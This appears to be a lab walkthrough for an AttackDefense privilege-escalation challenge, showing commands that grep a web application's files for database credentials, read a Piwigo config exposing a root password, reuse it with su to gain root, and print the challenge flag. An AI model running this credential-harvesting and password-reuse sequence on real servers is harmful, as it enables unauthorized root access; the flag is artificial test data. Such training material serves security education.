PENTESTER ACADEMYTOOL BOX PENTESTING

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Name	Shared Server
URL	https://www.attackdefense.com/challengedetails?cid=87
Type	Privilege Escalation : Web to Root

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

This machine is for deploying web applications. So, check if any already present webapp has something interesting. Switch to html root folder.

```
student@attackdefense:~$
student@attackdefense:~$ cd /var/www/html/
student@attackdefense:/var/www/html$ ls -1
total 320
drwxr-xr-x 4 root root 4096 Jul 1 12:19 data
-rwxr-xr-x 1 root root 3009 Dec 17 2012 about.php
-rwxr-xr-x 1 root root 5736 Dec 17 2012 action.php
drwxr-xr-x 4 root root 4096 Dec 17 2012 admin
-rwxr-xr-x 1 root root 11310 Dec 17 2012 admin.php
-rwxr-xr-x 1 root root 2446 Dec 17 2012 category.php
-rwxr-xr-x 1 root root 16367 Dec 17 2012 comments.php
drwxr-xr-x 2 root root 4096 Dec 17 2012 doc
-rwxr-xr-x 1 root root 6712 Dec 17 2012 feed.php
drwxr-xr-x 2 root root 4096 Dec 17 2012 galleries
-rwxr-xr-x 1 root root 17368 Dec 17 2012 i.php
-rwxr-xr-x 1 root root 4415 Dec 17
                                    2012 identification.php
drwxr-xr-x 6 root root 4096 Dec 17
                                    2012 include
-rw-r--r-- 1 root root 10918 Sep 24 23:20 index.html
-rwxr-xr-x 1 root root 10418 Dec 17
                                    2012 index.php
drwxr-xr-x 3 root root 4096 Dec 17 2012 install
```

Search for credentials by trying various options like username, password, db\_username, db\_password, db\_user etc.

In this case, db user worked.

Command: grep -nr "db\_user"

```
student@attackdefense:/var/www/htm1$ grep -nr "db_user" .
./install.php:270:$conf[\'db_user\'] = \''.$dbuser.'\';
./include/common.inc.php:115: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
./local/config/database.inc.php:4:$conf['db_user'] = 'root';
./admin/include/functions_upgrade.php:322: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'], $conf['db_password'], $conf['db_base']);
./i.php:412: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
./upgrade_feed.php:63: $pwg_db_link = pwg_db_connect($conf['db_host'], $conf['db_user'],
student@attackdefense:/var/www/htm1$
```

On opening the database.inc.php file, one can find the password for root user.

**Command:** cat ./local/config/database.inc.php

```
student@attackdefense:/var/www/html$ cat ./local/config/database.inc.php
<?php
$conf['dblayer'] = 'mysql';
$conf['db_base'] = 'piwigo';
$conf['db_user'] = 'root';
$conf['db_password'] = 'w3lc0m3t0adlabs';
$conf['db_host'] = 'localhost';

$prefixeTable = 'piwigo_';

define('PHPWG_INSTALLED', true);
define('PWG_CHARSET', 'utf-8');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
?>student@attackdefense:/var/www/html$
```

Use this password to switch to root user using su command.

```
student@attackdefense:/var/www/html$
student@attackdefense:/var/www/html$ su
Password:
root@attackdefense:/var/www/html# whoami
root
root@attackdefense:/var/www/html#
```

On getting the root user, retrieve flag located in /root directory.

```
root@attackdefense:/var/www/html# cd /root/
root@attackdefense:~# ls -l
total 4
-rw-r--r-- 1 root root 33 Nov 2 14:49 flag
root@attackdefense:~# cat flag
760a582ebd219e2efb6dec173d416723
root@attackdefense:~#
```

Flag: 760a582ebd219e2efb6dec173d416723